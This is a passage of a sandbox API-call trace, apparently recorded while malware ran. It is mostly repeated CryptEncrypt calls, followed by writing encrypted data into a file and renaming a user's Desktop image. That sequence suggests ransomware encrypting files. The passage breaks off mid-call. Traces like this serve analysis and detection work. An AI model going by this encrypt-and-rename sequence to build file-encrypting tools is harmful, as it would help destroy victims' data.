pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.865] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.866] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.867] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.868] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.869] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.870] CryptDestroyKey (hKey=0x1639968) returned 1 [0162.870] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0162.870] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x3c00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0162.870] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0162.871] GetProcessHeap () returned 0x1600000 [0162.871] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x26e) returned 0x164c4b8 [0162.871] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\- BGCTQP_oc.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\- 